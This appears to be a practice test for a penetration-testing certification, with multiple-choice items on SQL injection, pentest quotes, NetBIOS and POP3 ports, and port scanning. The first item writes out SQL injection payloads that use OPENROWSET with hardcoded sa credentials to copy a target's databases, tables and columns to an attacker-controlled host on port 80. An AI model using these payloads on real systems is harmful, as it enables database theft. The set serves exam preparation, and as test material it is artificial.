412-79 Practice Test

A penetration tester tries to transfer the database from the target machine to a different
machine. For this, he uses OPENROWSET to link thetarget database to his own database,
replicates the database structure, and transfers the data to his machine by via a connection
to the remote machine on port 80.
The query he used to transfer databases was:
'; insert into OPENROWSET
('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select *
from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases –
The query he used to transfer table 1 was:
'; insert into OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from
mydatabase..table1') select * from database..table1 –
What query does he need in order to transfer the column?

A.

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8
0;','select *from mydatabase..hacked_syscolumns') select * from
user_database.dbo.systables –

B.

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8
0;','select * from mydatabase..hacked_syscolumns') select * from
user_database.dbo.sysrows –

C.

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8
0;','select * from mydatabase..hacked_syscolumns') select * from
user_database.dbo.syscolumns –

D.

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8
0;','select * from mydatabase..hacked_syscolumns') select * from
user_tables.dbo.syscolumns –

Which of the following is NOT generally included in a quote for penetration testing
services?

A.

Type of testing carried out

B.

Type of testers involved

C.

 Budget required

D.

Expected timescale required to finish the project

Which of the following are the default ports used by NetBIOS service?

A.

135, 136, 139, 445

B.

134, 135, 136, 137

C.

137, 138, 139, 140

D.

133, 134, 139, 142

Identify the port numbers used by POP3 and POP3S protocols.

A.

113 and 981

B.

111 and 982

C.

110 and 995

D.

109 and 973

An external intrusion test and analysis identify security weaknesses and strengths of the
client's systems and networks as they appear from outside the client's security perimeter,
usually from the Internet. The goal of an external intrusion test and analysis is to
demonstrate the existence of known vulnerabilities that could be exploited by an external
attacker.

During external penetration testing, which of the following scanning techniques allow you to
determine a port’s state without making a full connection to the host?

A.

XMAS Scan

B.

SYN scan

C.

FIN Scan

D.

NULL Scan